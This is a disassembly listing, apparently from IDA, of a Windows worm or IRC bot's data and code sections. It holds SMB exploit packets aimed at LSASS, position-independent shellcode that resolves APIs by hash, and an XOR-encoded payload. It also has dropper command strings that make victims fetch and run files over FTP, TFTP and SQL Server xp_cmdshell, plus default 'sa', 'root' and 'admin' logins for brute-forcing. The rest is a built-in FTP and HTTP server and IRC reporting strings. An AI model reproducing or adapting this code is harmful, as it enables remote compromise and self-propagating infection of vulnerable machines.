					; DATA XREF: sub_403C74+85o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_4259C8	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403C74+B1o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
		dd 2 dup(0)
dword_425A78	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403C74+D8o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_425B58	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403833+59o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_403833+8Bo
		unicode	0, <C$>,0
a?????_0	db '?????',0
		align 10h
dword_425BC0	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403833+2ACo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 2 dup(0)
dword_425C30	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403833+2D3o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_425CD8	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403833+3B2o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_425D58	dd offset loc_401493+2	; DATA XREF: sub_403833+3E0o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_407078+4
		dd 1, 0
		dd 1, 0
		dd offset loc_407078+4
		dd 1, 0
		dd 1, 0
		dd offset loc_407078+4
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	2 dup(0)
dword_425DF0	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403833+308o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 2 dup(0)
dword_425E60	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403833+333o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_425ED8	dd 0				dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfess_0	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_425F98	dd 1004600h						; sub_403833+247r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4036D2+BEo
					; sub_40514F+9Do
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4036D2+97o
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_4040E5+B2o
		align 4
dword_4260DC	dd 10FF8h, 0	dword_4260E4	dd 10FF8h	dword_4260E8	dd 7FFDF020h, 0	dword_4260F0	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_1	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_1	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_426178	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4261A8	dd 0				dd 800000D4h, 2	dup(0)
unk_4261B8	db  81h	; 		; DATA XREF: sub_4045DE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 2 dup(0)
byte_426208	db 41h			; DATA XREF: sub_40467C+108r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426250	proc near		; DATA XREF: .text:00404956o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_42634C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_426362
		mov	[esi+8], eax
		call	sub_426315
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_426362
		mov	[esi+0Ch], eax
		call	sub_4262C7
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_426362
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_426250	endp


; =============== S U B	R O U T	I N E =======================================



sub_4262C7	proc near		; CODE XREF: sub_426250+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4262F0
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4262C7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262F0	proc near		; CODE XREF: sub_4262C7+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_4262FF:				; CODE XREF: sub_4262F0+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_42630C
		inc	ebx
		jmp	short loc_4262FF
; ---------------------------------------------------------------------------


loc_42630C:				; CODE XREF: sub_4262F0+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4262F0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426315	proc near		; CODE XREF: sub_426250+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_42632D:				; CODE XREF: sub_426315+1Ej
		cmp	[ecx], ebx
		jz	short loc_426335
		mov	ecx, [ecx]
		jmp	short loc_42632D
; ---------------------------------------------------------------------------


loc_426335:				; CODE XREF: sub_426315+1Aj
		mov	edx, edi


loc_426337:				; CODE XREF: sub_426315+2Aj
		cmp	[edx+4], ebx
		jz	short loc_426341
		mov	edx, [edx+4]
		jmp	short loc_426337
; ---------------------------------------------------------------------------


loc_426341:				; CODE XREF: sub_426315+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_426315	endp


; =============== S U B	R O U T	I N E =======================================



sub_42634C	proc near		; CODE XREF: sub_426250+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_42634C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426362	proc near		; CODE XREF: sub_426250+16p
					; sub_426250+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_426378:				; CODE XREF: sub_426362+33j
		jecxz	short loc_4263B2
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_426385:				; CODE XREF: sub_426362+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_426391
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_426385
; ---------------------------------------------------------------------------


loc_426391:				; CODE XREF: sub_426362+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_426378
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4263B2:				; CODE XREF: sub_426362:loc_426378j
					; sub_426362:loc_4263B2j
		jmp	short loc_4263B2
sub_426362	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_4263B8	proc near		; DATA XREF: .text:00404906o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42640A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_4263D5:				; CODE XREF: sub_4263B8+38j
		jecxz	short loc_426405
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_4263E0:				; CODE XREF: sub_4263B8+32j
		lodsb
		test	al, al
		jz	short loc_4263EC
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_4263E0
; ---------------------------------------------------------------------------


loc_4263EC:				; CODE XREF: sub_4263B8+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_4263D5
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_426405:				; CODE XREF: sub_4263B8:loc_4263D5j
		mov	[esp+arg_0], ebx
		retn
sub_4263B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42640A	proc near		; CODE XREF: sub_4263B8+7p

; FUNCTION CHUNK AT 00426442 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_426423
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_42642E
; ---------------------------------------------------------------------------


loc_426423:				; CODE XREF: sub_42640A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_42642E:				; CODE XREF: sub_42640A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_426442
sub_42640A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426435	proc near		; CODE XREF: sub_42640A:loc_426442p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_426435	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42640A


loc_426442:				; CODE XREF: sub_42640A+29j
		call	sub_426435


loc_426447:				; DATA XREF: sub_40408A+1Bo
					; sub_40CD3A+7CDo ...
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42640A
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_42644C	dd 60h		dword_426450	dd 62B0606h, 2050501h, 0A0hdword_42645C	dd 30h							; .text:0042C45Co ...
dword_426460	dd 0A1h		dword_426464	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_4040E5+153o
		align 10h


loc_426470:				; DATA XREF: sub_4040E5+E8o
		jmp	short near ptr dword_426478
; ---------------------------------------------------------------------------
		align 8
dword_426478	dd 0		dword_42647C	dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: .text:0040492Bo
		db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404EC7+186o
		align 4
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
					; DATA XREF: sub_404EC7+152o
		db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
		db '&%s&del eq',0Dh,0Ah
		db 27h,0
		align 4
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: sub_404EC7+BEo
		align 4
aAdmin		db 'admin',0            ; DATA XREF: sub_404EC7+29o
					; .text:0042C3F0o
		align 4
aRoot		db 'root',0             ; DATA XREF: sub_404EC7+22o
					; .text:0042C3F8o ...
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_404EC7+1Bo
					; .text:0042DAC4o
		align 10h
dword_4265F0	dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h
					; DATA XREF: .text:00405326o
		db 1Ah
; ---------------------------------------------------------------------------


loc_426601:				; CODE XREF: .text:00426608j
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_426601
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
; ---------------------------------------------------------------------------
		dw 28CDh
		dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h,	7066A07h
		dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh
		dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h,	0BECE342Eh
		dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h,	156EBE67h
		dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h
		dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h
		dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh
		dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h
		dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h,	0B54168B8h
		dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h
		dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h,	0F960CA62h
		dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh
		dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h
		dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h,	0BD70B865h
		dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h,	0CACA5FD9h
		dd 0D560h
word_426744	dw 7A69h		; DATA XREF: sub_40514F+30r
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405398+5B1o
aQuit		db 'QUIT',0             ; DATA XREF: sub_405398+59Do
					; sub_40CD3A+4FCo
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_405398+590o
		align 10h
dword_426790	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_405398+545o
		dd 2029206Ch, 2BBBB02h
aFileSentToSOnP	db '  File sent to %s on port %d, now executing %s on remote machine.'
		db 0
		align 10h
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405398+526o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_405398+4FAo
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_405398+4E2o
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405398+4D2o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_405398+4C1o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_405398+48Eo
		align 10h
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405398+44Ao
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_405398+411o
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405398+3E3o
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_405398+3D0o
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_405398+395o
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_405398+382o
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405398+372o
aI:					; DATA XREF: sub_405398+35Eo
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405398+337o
aA:					; DATA XREF: sub_405398+323o
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_405398+30Co
					; sub_405398+347o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405398+2FCo
		align 4
off_42694C	dd offset dword_445750	; DATA XREF: sub_405398+2E8o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405398+2D8o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_405398+2C4o
		align 4
a215Fuckftpd	db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_405398+2B4o
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_405398+2A0o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405398+290o
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_405398+27Co
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_405398+26Co
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_405398+257o
					; .text:0042C428o ...
		align 4
aSS		db '%s %s',0            ; DATA XREF: sub_405398+246o
		align 4
a220Fuckftpd0wn	db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405398+1C8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_4059FC+24o
					; sub_406B84+12Eo ...
		align 4
unk_4269E8	db    2			; DATA XREF: sub_405A96+3D3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 10h
asc_426A30	db 0Dh,0Ah,0		; DATA XREF: sub_405A96+2BEo
		align 4
asc_426A34:				; DATA XREF: sub_405A96+282o
					; sub_40CD3A+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405A96+258o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405ECC+F0o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405ECC+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405ECC+97o
					; sub_40A9D8+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405ECC+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405ECC:loc_405F37o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405ECC+64o
		align 8
unk_426C58	db    2			; DATA XREF: sub_406048+27Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
		align 8
unk_426CA8	db    2			; DATA XREF: sub_406048+20Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_426CEC:				; DATA XREF: sub_406048+156o
					; .text:0042E290o
		unicode	0, <*>,0
asc_426CF0:				; DATA XREF: sub_406048+FAo
					; sub_4062F7+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_406048+E9o
					; sub_4062F7+4CFo ...
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_406048+39o
					; sub_40A53E+4Co ...
		align 10h
aS_2		db '\%s',0              ; DATA XREF: sub_406048+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_4062F7+64Do
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+638o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_4062F7+61Do
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+58Eo
		align 8
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4062F7+566o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4062F7:loc_40681Ao
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4062F7+51Co
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4062F7+476o
		align 10h
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+439o
		align 10h
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4062F7+406o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4062F7:loc_4066C4o
		align 10h
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4062F7+3C6o
		align 10h
aSS_0		db '%s%s/',0            ; DATA XREF: sub_4062F7+379o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+335o
					; sub_4062F7+48Bo
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_4062F7+308o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_4062F7+2DEo
					; sub_4062F7+418o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_4062F7+2B4o
aAm		db 'AM',0               ; DATA XREF: sub_4062F7+293o
		align 10h
aPm		db 'PM',0               ; DATA XREF: sub_4062F7+284o
		align 4
a__1:					; DATA XREF: sub_4062F7+24Co
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: sub_4062F7+231o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+1BFo
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+146o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+12Ao
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 8
